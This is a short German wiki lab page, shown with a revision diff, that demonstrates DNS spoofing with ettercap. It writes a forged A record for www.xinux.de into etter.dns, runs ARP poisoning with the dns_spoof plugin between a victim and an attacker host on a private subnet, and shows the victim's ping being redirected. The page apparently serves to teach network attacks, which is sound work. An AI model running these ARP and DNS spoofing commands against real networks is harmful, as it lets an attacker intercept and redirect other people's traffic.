Dnspoof mit ettercap plugin: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 4: Zeile 4:
 
*host -4 www.xinux.de
 
*host -4 www.xinux.de
 
  www.xinux.de has address 136.243.187.66
 
  www.xinux.de has address 136.243.187.66
 +
=Angreifer=
 
==host anlegen==
 
==host anlegen==
 
*echo -e "www.xinux.de A 10.0.10.101" > /etc/ettercap/etter.dns
 
*echo -e "www.xinux.de A 10.0.10.101" > /etc/ettercap/etter.dns

Version vom 1. Juli 2021, 08:19 Uhr

Packet

  • apt-get install ettercap-graphical

OPFER

  • host -4 www.xinux.de
www.xinux.de has address 136.243.187.66

Angreifer

host anlegen

  • echo -e "www.xinux.de A 10.0.10.101" > /etc/ettercap/etter.dns

ettercap mit dns plugin starten

  • OPFER=10.0.10.104
  • ANGREIFER=10.0.10.101
  • ettercap -Tq -i eth0 -M arp -P dns_spoof /$OPFER,$ANGREIFER///$ANGREIFER,$OPFER//

OPFER

  • ping www.xinux.de
PING www.xinux.de (10.0.10.101) 56(84) bytes of data.
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=1 ttl=64 time=0.444 ms
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=2 ttl=64 time=0.395 ms
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=3 ttl=64 time=0.263 ms